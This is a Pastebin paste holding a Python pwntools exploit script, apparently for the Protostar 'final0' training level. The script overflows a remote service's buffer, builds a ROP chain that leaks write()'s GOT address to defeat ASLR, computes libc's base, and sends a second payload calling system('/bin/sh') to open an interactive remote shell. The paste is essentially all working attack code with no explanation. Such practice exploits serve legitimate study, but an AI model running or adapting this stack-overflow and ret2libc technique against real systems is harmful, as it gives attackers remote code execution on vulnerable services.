Advertisement
Guest User

ASLR remote overflow protostar final0

a guest
Jun 20th, 2019
162
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.82 KB | None | 0 0
  1. #!/usr/bin/python
  2. from pwn import *
  3.  
  4. def main():
  5.     remote_port = 2995
  6.     remote_ip = "192.168.2.115"
  7.  
  8.     dummy = p32(0xcafebabe)
  9.     offset = 532
  10.  
  11.     # 08048abc <write@plt>:
  12.     write_plt = p32(0x08048abc)
  13.    
  14.     # 0804adb8  00000d07 R_386_JUMP_SLOT   00000000   write@GLIBC_2.0
  15.     write_got = p32(0x0804adb8)
  16.    
  17.     # ROP leak:
  18.     rop_leak = write_plt # write@plt
  19.     rop_leak += dummy # 0xcafebabe
  20.     rop_leak += p32(1) # File descriptor: socket
  21.     rop_leak += write_got # write@got
  22.     rop_leak += p32(4) # Write 4 bytes to socket
  23.  
  24.     # Craft payload
  25.     payload = "A" * offset
  26.     payload += rop_leak
  27.  
  28.     # Stage 1: LEAK
  29.     r = remote(remote_ip, remote_port)
  30.     r.sendline(payload) # Send to server   
  31.  
  32.     log.warn("Stage 1: LEAK")
  33.     reply = r.recvall() # Receives only the leaked address
  34.     r.close() # Closes connection to remote server
  35.  
  36.     print "Leak ADDR : write() [ Little-endian ]"
  37.     print hexdump(reply)
  38.  
  39.     write_addr = u32(reply)
  40.     log.success("write() : 0x%x" % write_addr)
  41.  
  42.     # 000bcc70 <__write>:
  43.     write_offset = 0x000bcc70  
  44.     libc_base = write_addr - write_offset  
  45.     log.success("libc base : 0x%x" % libc_base)
  46.  
  47.     # 00038fb0 <__libc_system>:
  48.     system_offset = 0x00038fb0
  49.     system_addr = libc_base + system_offset
  50.     log.success("system() : 0x%x" % system_addr)
  51.     system_addr = p32(system_addr)
  52.  
  53.     #  11f3bf /bin/sh
  54.     bin_sh_offset = 0x11f3bf
  55.     bin_sh = libc_base + bin_sh_offset
  56.     log.success("\'/bin\'/sh : 0x%x" % bin_sh) 
  57.     bin_sh = p32(bin_sh)
  58.  
  59.     # ROP: shell
  60.     rop_shell = system_addr
  61.     rop_shell += p32(0xbadf00d)
  62.     rop_shell += bin_sh
  63.  
  64.     # Stage 2: shell
  65.     payload = "A" * offset 
  66.     payload += rop_shell
  67.  
  68.     r = remote(remote_ip, remote_port) # Recreates connection
  69.     r.sendline(payload) # Send to server   
  70.  
  71.     log.warn("Stage 2: SHELL")
  72.     log.progress("Executing shell")
  73.  
  74.     r.interactive() # Pass interaction back to user
  75.  
  76. if __name__ == "__main__":
  77. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement